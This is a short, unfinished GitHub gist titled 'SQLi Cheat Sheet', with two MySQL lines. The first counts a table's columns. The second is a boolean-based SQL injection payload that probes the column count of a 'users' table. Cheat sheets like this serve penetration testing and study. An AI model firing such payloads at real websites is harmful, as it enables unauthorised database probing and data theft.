Skip to content

Instantly share code, notes, and snippets.

@lisp3r
Created December 8, 2023 15:21
Show Gist options
  • Save lisp3r/cf72c1980ede7c212a039115dd3ab955 to your computer and use it in GitHub Desktop.
Save lisp3r/cf72c1980ede7c212a039115dd3ab955 to your computer and use it in GitHub Desktop.
SQLi Cheat Sheet [WIP]

SQLi Cheat Sheet

MySQL

Column number in the table

SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'table_name';

Boolean-based OOB

Get column number:

' and 2=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'users')#
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment